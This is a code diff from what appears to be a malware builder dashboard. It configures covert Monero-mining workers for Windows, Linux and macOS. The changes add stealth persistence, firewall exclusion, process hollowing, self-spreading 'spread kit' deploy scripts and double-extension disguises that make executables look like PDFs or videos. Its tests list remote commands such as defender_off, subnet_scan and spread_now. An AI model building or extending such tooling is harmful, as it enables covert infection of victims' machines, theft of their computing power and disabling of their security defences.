if (next.thread_mode === 'percent') {
|
||||
if (next.thread_percent < 1 || next.thread_percent > 100) {
|
||||
next.thread_percent = 75;
|
||||
}
|
||||
} else if (next.threads < 1) {
|
||||
next.threads = 4;
|
||||
}
|
||||
|
||||
// Run-as forces persistence
|
||||
if (next.run_as === 'scheduled' || next.run_as === 'service') {
|
||||
next.persistence = true;
|
||||
next.auto_start = true;
|
||||
}
|
||||
|
||||
// AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty
|
||||
if (!next.ai_enabled) {
|
||||
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||
next.ai_model = 'llama3.2';
|
||||
} else {
|
||||
if (!next.ai_ollama_endpoint?.trim()) {
|
||||
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||
}
|
||||
if (!next.ai_model?.trim()) {
|
||||
next.ai_model = 'llama3.2';
|
||||
}
|
||||
}
|
||||
|
||||
// Fusion-only fields
|
||||
if (!next.fusion_enabled) {
|
||||
next.fusion_media_base_name = '';
|
||||
next.fusion_export_subdir = '';
|
||||
if (next.fusion_payload_kind === 'video') {
|
||||
next.fusion_payload_kind = 'exe';
|
||||
}
|
||||
}
|
||||
|
||||
return next;
|
||||
}
|
||||
|
||||
/** Apply a deliverable preset — call from UI when user picks build type. */
|
||||
export function applyDeliverableType(form: BuildRequest, type: ForgeDeliverable): BuildRequest {
|
||||
const base: BuildRequest = { ...form, fusion_enabled: false, spread_kit: false };
|
||||
|
||||
switch (type) {
|
||||
case 'fusion':
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
fusion_enabled: true,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
fusion_media_mode: base.fusion_media_mode || 'paired',
|
||||
fusion_payload_kind: base.fusion_payload_kind || 'exe',
|
||||
});
|
||||
case 'spread_kit':
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
...spreadKitPreset(),
|
||||
});
|
||||
default:
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
target_os: base.target_os === 'universal' ? 'windows' : base.target_os || 'windows',
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
|
||||
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
|
||||
|
||||
@@ -102,10 +103,58 @@ export function applyForgeFieldUpdate(
|
||||
next.persistence = value === true;
|
||||
break;
|
||||
|
||||
case 'target_os':
|
||||
if (value !== 'windows' && value !== 'universal') {
|
||||
next.process_hollowing = false;
|
||||
next.sign_build = false;
|
||||
if (value !== 'universal') {
|
||||
next.obfuscate = false;
|
||||
}
|
||||
}
|
||||
if (value === 'linux' || value === 'darwin') {
|
||||
next.spread_kit = false;
|
||||
next.target_arch = value === 'darwin' ? 'arm64' : 'amd64';
|
||||
if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) {
|
||||
next.install_base = 'xdg_data_home';
|
||||
}
|
||||
} else if (value === 'windows') {
|
||||
next.target_arch = 'all';
|
||||
if (next.install_base === 'xdg_data_home') {
|
||||
next.install_base = 'localappdata';
|
||||
}
|
||||
} else if (value === 'universal') {
|
||||
next.target_arch = 'all';
|
||||
}
|
||||
break;
|
||||
|
||||
case 'fusion_enabled':
|
||||
if (value === true) {
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
next.spread_kit = false;
|
||||
if (!next.target_os || next.target_os === 'windows') {
|
||||
next.target_os = 'universal';
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'spread_kit':
|
||||
if (value === true) {
|
||||
Object.assign(next, {
|
||||
fusion_enabled: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
run_as: 'scheduled',
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
firewall_exclusion: true,
|
||||
display_mode: 'background',
|
||||
process_hollowing: false,
|
||||
});
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -158,12 +207,8 @@ export function applyForgeFieldUpdate(
|
||||
break;
|
||||
|
||||
case 'worker_name':
|
||||
if (typeof value === 'string' && value.trim()) {
|
||||
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
|
||||
next.process_name = proc;
|
||||
}
|
||||
}
|
||||
// Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the stealth default.
|
||||
// Users can override process_name manually in Advanced mode.
|
||||
break;
|
||||
|
||||
case 'pool_tls':
|
||||
@@ -173,7 +218,7 @@ export function applyForgeFieldUpdate(
|
||||
break;
|
||||
}
|
||||
|
||||
return next;
|
||||
return normalizeForgeForm(next);
|
||||
}
|
||||
|
||||
/** Per-field UI state: disabled fields + why. */
|
||||
@@ -182,6 +227,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
const isIdle = form.mining_mode === 'idle';
|
||||
const isScheduled = form.mining_mode === 'scheduled';
|
||||
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
|
||||
const targetOs = form.target_os || 'windows';
|
||||
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
|
||||
const isWindowsOnly = targetOs === 'windows';
|
||||
const isUniversal = targetOs === 'universal';
|
||||
const isSpreadKit = !!form.spread_kit;
|
||||
const isFusion = !!form.fusion_enabled;
|
||||
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
@@ -271,7 +322,11 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
: undefined,
|
||||
},
|
||||
run_as: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: {
|
||||
disabled: isSpreadKit,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
|
||||
},
|
||||
fusion_prep: {
|
||||
disabled: !form.fusion_enabled,
|
||||
badge: 'requires',
|
||||
@@ -298,9 +353,55 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
badge: 'requires',
|
||||
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
||||
},
|
||||
process_hollowing: { disabled: false, badge: 'baked' },
|
||||
process_hollowing: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle
|
||||
? 'Process hollowing is Windows-only.'
|
||||
: isUniversal
|
||||
? 'Only baked into the Windows worker inside universal builds.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
|
||||
},
|
||||
mesh_p2p: { disabled: false, badge: 'baked' },
|
||||
auto_spread: { disabled: false, badge: 'baked' },
|
||||
hole_punch: { disabled: false, badge: 'baked' },
|
||||
remote_aggressive: { disabled: false, badge: 'baked' },
|
||||
target_os: {
|
||||
disabled: isSpreadKit || isFusion,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit
|
||||
? 'Spread Kit always targets all platforms (Universal).'
|
||||
: isFusion
|
||||
? 'Movie fusion always builds a universal ZIP.'
|
||||
: undefined,
|
||||
},
|
||||
target_arch: {
|
||||
disabled: !isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: !isUnixSingle
|
||||
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
||||
: undefined,
|
||||
},
|
||||
spread_kit: {
|
||||
disabled: isFusion,
|
||||
badge: 'baked',
|
||||
lockedReason: isFusion ? 'Spread Kit and Fusion are different deliverables — pick one above.' : undefined,
|
||||
},
|
||||
obfuscate: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'server-only',
|
||||
lockedReason: isUnixSingle ? 'Garble obfuscation applies to Windows builds only.' : undefined,
|
||||
hint: isUniversal ? 'Only the Windows binary in the universal ZIP is obfuscated.' : undefined,
|
||||
},
|
||||
sign_build: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'server-only',
|
||||
lockedReason: !isWindowsOnly && !isUniversal
|
||||
? 'Authenticode signing applies to Windows .exe output only.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
@@ -334,6 +435,21 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
|
||||
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
|
||||
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
|
||||
}
|
||||
if (form.target_os === 'universal') {
|
||||
notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.');
|
||||
}
|
||||
if (form.spread_kit) {
|
||||
notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.');
|
||||
}
|
||||
if (form.fusion_enabled) {
|
||||
notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.');
|
||||
}
|
||||
if (form.target_os === 'linux' || form.target_os === 'darwin') {
|
||||
notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`);
|
||||
}
|
||||
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
||||
notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.');
|
||||
}
|
||||
|
||||
return notices;
|
||||
}
|
||||
|
||||
@@ -57,6 +57,8 @@ export function recommendedForgePreset(): Partial<BuildRequest> {
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: false,
|
||||
ai_enabled: false,
|
||||
fusion_enabled: false,
|
||||
output_dir: 'exports',
|
||||
|
||||
@@ -32,7 +32,8 @@ function isReachableServerUrl(url: string): boolean {
|
||||
|
||||
function looksLikeXMRWallet(addr: string): boolean {
|
||||
const a = addr.trim();
|
||||
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
|
||||
// Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars)
|
||||
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
|
||||
}
|
||||
|
||||
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||||
|
||||
@@ -3,23 +3,63 @@ import {
|
||||
defaultEmbeddedName,
|
||||
defaultRunnerName,
|
||||
fusionTitleFromFilename,
|
||||
isFusionVideoFile,
|
||||
isFusionExeFile,
|
||||
fusionPayloadKind,
|
||||
fusionFileTypeLabel,
|
||||
disguisedWindowsRunnerName,
|
||||
disguisedDisplayName,
|
||||
} from './fusionMedia';
|
||||
|
||||
describe('fusionMedia', () => {
|
||||
it('detects video extensions', () => {
|
||||
expect(isFusionVideoFile({ name: 'Vacation.mkv' } as File)).toBe(true);
|
||||
expect(isFusionVideoFile({ name: 'prep.exe' } as File)).toBe(false);
|
||||
expect(isFusionVideoFile(null)).toBe(false);
|
||||
it('detects exe extensions', () => {
|
||||
expect(isFusionExeFile({ name: 'setup.exe' } as File)).toBe(true);
|
||||
expect(isFusionExeFile({ name: 'Vacation.mkv' } as File)).toBe(false);
|
||||
expect(isFusionExeFile({ name: 'report.pdf' } as File)).toBe(false);
|
||||
expect(isFusionExeFile(null)).toBe(false);
|
||||
});
|
||||
|
||||
it('derives title from filename', () => {
|
||||
it('returns correct payload kind', () => {
|
||||
expect(fusionPayloadKind({ name: 'setup.exe' } as File)).toBe('exe');
|
||||
expect(fusionPayloadKind({ name: 'Vacation.mkv' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind({ name: 'report.pdf' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind({ name: 'doc.docx' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind(null)).toBe('file');
|
||||
});
|
||||
|
||||
it('derives title from any filename', () => {
|
||||
expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
|
||||
expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
|
||||
expect(fusionTitleFromFilename('quarterly-report.pdf')).toBe('quarterly-report');
|
||||
expect(fusionTitleFromFilename('document.docx')).toBe('document');
|
||||
});
|
||||
|
||||
it('builds default runner and embedded names', () => {
|
||||
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation-runner.exe');
|
||||
it('builds disguised double-extension runner names for non-exe files', () => {
|
||||
// Double-extension trick: Windows hides .exe → user sees the document name + icon
|
||||
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
||||
expect(defaultRunnerName('report.pdf')).toBe('report.pdf.exe');
|
||||
expect(defaultRunnerName('budget.xlsx')).toBe('budget.xlsx.exe');
|
||||
// exe payloads are not double-extended (they run directly)
|
||||
expect(defaultRunnerName('setup.exe')).toBe('setup.exe');
|
||||
// embedded = same disguised name
|
||||
expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
||||
});
|
||||
|
||||
it('disguisedWindowsRunnerName works for all types', () => {
|
||||
expect(disguisedWindowsRunnerName('quarterly-report.pdf')).toBe('quarterly-report.pdf.exe');
|
||||
expect(disguisedWindowsRunnerName('clip.mp4')).toBe('clip.mp4.exe');
|
||||
expect(disguisedWindowsRunnerName('setup.exe')).toBe('setup.exe');
|
||||
expect(disguisedWindowsRunnerName('no-extension')).toBe('no-extension.exe');
|
||||
});
|
||||
|
||||
it('disguisedDisplayName strips trailing .exe for user-visible name', () => {
|
||||
expect(disguisedDisplayName('report.pdf')).toBe('report.pdf');
|
||||
expect(disguisedDisplayName('clip.mp4')).toBe('clip.mp4');
|
||||
});
|
||||
|
||||
it('returns friendly file type labels', () => {
|
||||
expect(fusionFileTypeLabel('report.pdf')).toBe('PDF document');
|
||||
expect(fusionFileTypeLabel('clip.mp4')).toBe('MP4 video');
|
||||
expect(fusionFileTypeLabel('doc.docx')).toBe('Word document');
|
||||
expect(fusionFileTypeLabel('unknown.xyz')).toBe('XYZ file');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,20 +1,69 @@
|
||||
export function isFusionVideoFile(file: File | null | undefined): boolean {
|
||||
/** Return true if the file is a Windows executable payload (run directly). */
|
||||
export function isFusionExeFile(file: File | null | undefined): boolean {
|
||||
if (!file?.name) return false;
|
||||
return /\.(mp4|mkv|mov)$/i.test(file.name);
|
||||
return /\.exe$/i.test(file.name);
|
||||
}
|
||||
|
||||
/** Derive a clean title from any filename (strips extension). */
|
||||
export function fusionTitleFromFilename(name: string): string {
|
||||
const base = name.replace(/^.*[/\\]/, '');
|
||||
return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie';
|
||||
// Remove all extensions from the title
|
||||
return base.replace(/\.[^.]+$/, '') || 'file';
|
||||
}
|
||||
|
||||
/** Derive the Windows runner name for a payload. Uses double-extension disguise for non-exe files.
|
||||
* e.g. "quarterly-report.pdf" → "quarterly-report.pdf.exe" (shown as "quarterly-report.pdf" in Explorer)
|
||||
* "setup.exe" → "setup.exe" (run directly)
|
||||
*/
|
||||
export function defaultRunnerName(mediaName: string): string {
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}-runner.exe`;
|
||||
return disguisedWindowsRunnerName(mediaName);
|
||||
}
|
||||
|
||||
/** Derive a single-file (embedded) runner name — same as runner name (double-ext disguise). */
|
||||
export function defaultEmbeddedName(mediaName: string): string {
|
||||
const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv';
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}${ext}.exe`;
|
||||
return defaultRunnerName(mediaName);
|
||||
}
|
||||
|
||||
/** Return the payload kind: "exe" for .exe files, "file" for everything else. */
|
||||
export function fusionPayloadKind(file: File | null | undefined): string {
|
||||
if (!file?.name) return 'file';
|
||||
return /\.exe$/i.test(file.name) ? 'exe' : 'file';
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the Windows runner filename that uses the double-extension trick.
|
||||
* "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
||||
* Windows hides the .exe when extension hiding is on (the OS default), so the
|
||||
* user sees "quarterly-report.pdf" with the PDF icon injected by the forge.
|
||||
*/
|
||||
export function disguisedWindowsRunnerName(payloadName: string): string {
|
||||
const ext = payloadName.match(/(\.[^.]+)$/)?.[1]?.toLowerCase() ?? '';
|
||||
if (ext === '.exe' || ext === '') {
|
||||
// Already an exe or no extension — no double-extension trick needed
|
||||
const base = payloadName.replace(/\.[^.]+$/, '') || 'setup';
|
||||
return base + '.exe';
|
||||
}
|
||||
const base = payloadName.replace(/\.[^.]+$/, '') || 'file';
|
||||
return base + ext + '.exe';
|
||||
}
|
||||
|
||||
/** What the disguised Windows file looks like to the user (with ext hiding on). */
|
||||
export function disguisedDisplayName(payloadName: string): string {
|
||||
// Strips the trailing .exe → shows the double-extension name without .exe
|
||||
const runner = disguisedWindowsRunnerName(payloadName);
|
||||
return runner.replace(/\.exe$/i, '');
|
||||
}
|
||||
|
||||
/** Friendly label for a file type based on extension. */
|
||||
export function fusionFileTypeLabel(filename: string): string {
|
||||
const ext = filename.match(/\.([^.]+)$/)?.[1]?.toLowerCase() ?? '';
|
||||
const labels: Record<string, string> = {
|
||||
pdf: 'PDF document', mp4: 'MP4 video', mkv: 'MKV video', mov: 'MOV video',
|
||||
avi: 'AVI video', doc: 'Word document', docx: 'Word document',
|
||||
xls: 'Spreadsheet', xlsx: 'Spreadsheet', ppt: 'Presentation', pptx: 'Presentation',
|
||||
jpg: 'JPEG image', jpeg: 'JPEG image', png: 'PNG image', gif: 'GIF image',
|
||||
zip: 'ZIP archive', exe: 'Windows executable', dmg: 'macOS disk image',
|
||||
txt: 'Text file', csv: 'CSV file',
|
||||
};
|
||||
return labels[ext] ?? (ext ? `${ext.toUpperCase()} file` : 'file');
|
||||
}
|
||||
|
||||
@@ -3,7 +3,9 @@ const BASE_LABELS: Record<string, string> = {
|
||||
appdata: '%APPDATA%',
|
||||
programdata: '%ProgramData%',
|
||||
userprofile: '%USERPROFILE%',
|
||||
temp: '%TEMP%',
|
||||
home: '~',
|
||||
xdg_data_home: '~/.local/share',
|
||||
temp: '%TEMP% / /tmp',
|
||||
custom: '',
|
||||
};
|
||||
|
||||
@@ -18,12 +20,14 @@ export function previewInstallPath(options: {
|
||||
install_relative_path?: string;
|
||||
worker_name?: string;
|
||||
process_name?: string;
|
||||
target_os?: string;
|
||||
}): string {
|
||||
const targetOs = options.target_os || 'windows';
|
||||
const baseKey = options.install_base || 'localappdata';
|
||||
const base =
|
||||
baseKey === 'custom'
|
||||
? (options.install_custom_base?.trim() || '%CUSTOM%')
|
||||
: (BASE_LABELS[baseKey] || '%LOCALAPPDATA%');
|
||||
: (BASE_LABELS[baseKey] || BASE_LABELS.localappdata);
|
||||
|
||||
const worker = sanitizeToken(options.worker_name || 'worker', 'worker');
|
||||
const process = sanitizeToken(options.process_name || worker, 'miner');
|
||||
@@ -37,6 +41,18 @@ export function previewInstallPath(options: {
|
||||
.replace(/\{process\}/g, process);
|
||||
|
||||
rel = rel.replace(/^\/+|\/+$/g, '');
|
||||
|
||||
if (targetOs === 'universal') {
|
||||
const winFolder = rel ? `${BASE_LABELS.localappdata}\\${rel.replace(/\//g, '\\')}` : BASE_LABELS.localappdata;
|
||||
const unixFolder = rel ? `${BASE_LABELS.xdg_data_home}/${rel}` : BASE_LABELS.xdg_data_home;
|
||||
return `Windows: ${winFolder}\\${process}.exe · Linux/Mac: ${unixFolder}/${process}`;
|
||||
}
|
||||
|
||||
if (targetOs === 'linux' || targetOs === 'darwin') {
|
||||
const folder = rel ? `${base}/${rel}` : base;
|
||||
return `${folder}/${process}`;
|
||||
}
|
||||
|
||||
const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base;
|
||||
return `${folder}\\${process}.exe`;
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';
|
||||
|
||||
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
|
||||
const UI_REMOTE_ACTIONS = [
|
||||
@@ -16,9 +17,10 @@ const UI_REMOTE_ACTIONS = [
|
||||
'get_log',
|
||||
'powershell',
|
||||
'upload',
|
||||
...AGGRESSIVE_REMOTE_ACTIONS,
|
||||
] as const;
|
||||
|
||||
/** Implemented in agent/client/client.go handleCommand switch. */
|
||||
/** Implemented in agent/client (handleCommand + aggressive_commands). */
|
||||
const AGENT_HANDLED = new Set([
|
||||
'pause',
|
||||
'resume',
|
||||
@@ -40,6 +42,15 @@ const AGENT_HANDLED = new Set([
|
||||
'ipconfig',
|
||||
'clipboard',
|
||||
'wifi',
|
||||
'hole_punch',
|
||||
'hole_punch_close',
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'mesh_status',
|
||||
]);
|
||||
|
||||
describe('remote action wiring', () => {
|
||||
@@ -48,4 +59,15 @@ describe('remote action wiring', () => {
|
||||
expect(AGENT_HANDLED.has(action)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('gates hole punch when capability missing', () => {
|
||||
expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false);
|
||||
expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true);
|
||||
});
|
||||
|
||||
it('blocks defender_off on darwin regardless of caps', () => {
|
||||
const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false };
|
||||
expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false);
|
||||
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user